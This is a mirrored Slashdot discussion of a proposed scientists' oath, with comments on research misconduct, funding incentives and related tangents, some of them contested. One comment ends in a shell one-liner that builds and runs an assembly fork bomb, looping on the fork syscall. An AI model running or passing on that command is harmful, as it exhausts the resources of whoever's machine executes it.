Slashdot Mirror
A Hippocratic Oath For Scientists
grrlscientist writes "In response to what appears to be a growing problem of scientific misconduct, a group of people at the Institute of Medical Science at University of Toronto in Canada wrote a scientist's version of the Hippocratic oath. This oath (which is cited in the story) was recited by all graduate students in the biological sciences at the beginning of the 2007-2008 academic year." This blogger argues that merely reciting an oath is not going to help much when "...the corruption in 'science' is systemic. It is due to corporate science being run according to a business model instead of in accordance to an educational paradigm. It is due to unrestrained corporate greed combined with a tremendous disparity in power and income..."
seeing as how taking oaths has worked so well for doctors, lawyers and Presidents.
The higher the technology, the sharper that two-edged sword.
IMO, a much better oath would be "I pledge to face the truth and report it bluntly." The big problem in science is not the isolated cases of harming "the community" (whatever that means) or failing to do enough for your subjects. The big problem is the temptation to get funding and publications by ignoring data that don't fit what you think the editor or government grant committee wants to see. And yes, IAAS. I know of what I speak.
[I once considered a "hobo code" for programmers--obscure symbols that you could mark code or an office with that would mean things like
- this project is doomed,
- this project is likely to incur a loss of $100 million as it fails,
- this project will get people killed,
- I would be fired if I told the truth about this project,
- I would be killed if I told the truth about this project,
- etc.,
as a warning to other prospective programmers. And yes--I have worked on some really awful projects.]"Not an actor, but he plays one on TV."
That is part of the original or classical oath. I think that you will find that most modern versions leave that line out. See NOVA or medterms.com. The science of medicine has changed quite a bit in the couple of thousand years since Hippocrates' time. The oath has been updated in accordance with modern science.
Rhapsody in Numbers
Personally, I was more caught by the blogger's throwaway remarks about "corporate science". The truth in my experience is that academics exaggerate to get grants and manipulate data to publish papers. For instance, a substantial fraction of chemistry research cannot be reproduced because the results shown are a fluke, and the applications of an idea are often grossly exaggerated. For instance, some scientists invented a new alloy which they suggest will revolutionize crumple-zones in cars. This alloy includes palladium, a rare-metal. Indeed so rare, if all the palladium on earth were to be used to make this new alloy, we'd get about a cubic meter of the stuff.
You just don't get away with this sort of stuff in industry. For instance the famous Bell Labs scientist who falsified his nanotech research. This was then discovered by a competing group at IBM. In industry, scientific fraud is hard b.c. the standards for research go beyond publishing a few page journal article.
To clarify what I think you're saying in a way that may be relevant to the grandparent post, the notebook is not a legal document by simple virtue of being a "scientist's notebook." Rather, a lab notebook can be a legally significant document in some legal proceedings. It is only of value in this context if you can demonstrate a consistent adherence to certain standards.
For example, if you are attempting to overturn someone else's patent due to your own prior work, your notebook describing and dating your ideas/tests may be of value. If you're able to produce a career's worth of similar notebooks describing your other work, that will lend credibility to the contents of your notebook.
What the prevailing opinion on abortion was depended on time and place. It's not so simple that you can just say "a majority used to think abortion was bad" even in just America. In some places, it was just fine with most people as long as it occurred before the "quickening," the fetus's first movement in the womb. Before that time, the fetus was considered to be part of the woman's body. This attitude was reflected in English common law until the 19th century, when abortion was criminalized--for the health of the mother, rather than the fetus. Abortion remedies were notoriously dangerous.
The idea that abortion is morally wrong because it destroys the life of the fetus is a reason invented to keep the law in place retrospectively. It was not the intent of those who put the laws into place.
When Hippocrates invented his eponymous oath, most Greeks were okay with abortion. Its banning of abortion was so odd, in fact, that it prompted some scholars on that basis alone to associate the oath with Pythagoreanism, the one strand of ancient Greek thought known to ban it entirely.
The worst thing about it is that quite often the profit motive is what makes people's bosses call them out on their self serving bullshit. If you look at companies where people can't be fired their bosses have much less ability to do that. And the end result is that people can talk their way out of doing anything except for their pet project which doesn't have any customers, or any users except for them and their friends. Everyone knows that it's bullshit, but because they can't be fired people know it's a bad idea to say anything.
Much like academia, really.
Seriosly, I'm sick of Americans/Canadians and people from capitalist countries whining on about how the profit motive corrupts things without having experienced a world where it is severly attenuated. Move to Sweden, work in a company there for a while and see how well it works.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The summary implies a major problem, although the term 'growing' was used.
1. No evidence of substantive misuse exists. There is substantive proof of bias (particularly against women succeeding.) This is not scientific fraud. Just scientists being arseholes and using their power to diminish the lives of others.
2. More reporting of fraud is likely these days. More reporters, and lots of web search engines for them to use. But consider the activity base. Back in the days when I was a scientist, there were about 1 per 1000 of the population. At a guess then, say 2 million scientists in the world right now. (The definition of one will vary, so no exact number is possible.) Even at a absurdly low rate of 1 per 1000 being crooked, that's 2000 bent scientists. Get real. Of course there are a whole bunch of them out there. So what. Do you expect them to be inhuman. Not that would be really horrible.
3. The oath is a wishy washy load of idealistic crap. "I promise never to allow financial gain, competitiveness or ambition cloud my judgment in the conduct of ethical research and scholarship. I will pursue knowledge and create knowledge for the greater good, but never to the detriment of colleagues, supervisors, research subjects or the international community of scholars of which I am now a member." What species do they think scientists belong to. The astonishing thing in my experience was that scientists were far more ethical than people had any right to expect. The oath allows you to be a complete bastard provided you are engaged in non-thical research and scholarship. It also expects a group driven above all by curiosity to instead be driven by the 'common good'. Well, the atomic bomb was invented for the common good. (Albeit, the common good of one side in a war, but the majority of both sides of the war agreed with having such a bias.)
4. The oath will achieve nothing. There are already punitive measures in place. Get caught even mildly fudging you data and you cease to be a scientist. For ever. You may get a job washing glassware, but you can forget any position of authority.
5. I do think the measures in place are inadequate. In the main, they rely on checking on how believable a submitted paper is (peer review), and then whether the science survives. The equivalent of an environmental impact report does not exist. The best you could hope for say, if someone discovered a simple way of isolating out uranium 235 for instance, would be for someone to exterminate the idiot. Do not expect the science community to do it for you. But scientists do have ethics committees, particularly governing the use of animals. They were really picky. (As I got older, I agreed with them.) It wasn't sufficient just to be treating your animals well. The requirement was that you interfere to the least extent possible. Considering science is agnostic, they were in the main, ethical.
Excuse the rant. Science is about as safe as guns in the community. Strong opinions are not only expected, they should be expressed. But please get my key point. It is much safer having scientists being human than following 'the common good'. The common good will be defined by either a religious power group or a political one. I'd rather have scientists caring for the people around them, and being restricted in their ability to casually affect the lives of others.
I'm surprised i haven't seen a post about what should be so blindingly obvious ...
A scientist's only oath need be the scientific method. If their behaviour or research can't stand up to that, then it's immediately suspect, invalid, unethical, and unscientific. Any other extraneous oath or pledge is just meaningless words, recited to make someone (who?) feel better. If a scientist won't live up to following through the scientific method, i fail to see how a silly bunch of (wow, overly-longwinded) words will make any difference.
For instance, some scientists invented a new alloy which they suggest will revolutionize crumple-zones in cars. This alloy includes palladium, a rare-metal. Indeed so rare, if all the palladium on earth were to be used to make this new alloy, we'd get about a cubic meter of the stuff.
What?? Global palladium production was 222 metric tons in 2006 (source). According to the article, this alloy was light enough to float in water. Thus, its density must be less than that of water. Water has a mass of 1 metric ton per cubic meter. Thus, if the alloy were pure palladium, global production could provide for 222 cubic meters annually. I highly doubt that the alloy is pure palladium; in fact, it probably only accounts for a small percentage of the total mass. Do you have some source to cite in defense of your claim? While I agree with your point, I fail to see the reasoning behind this example...Fear the penguin.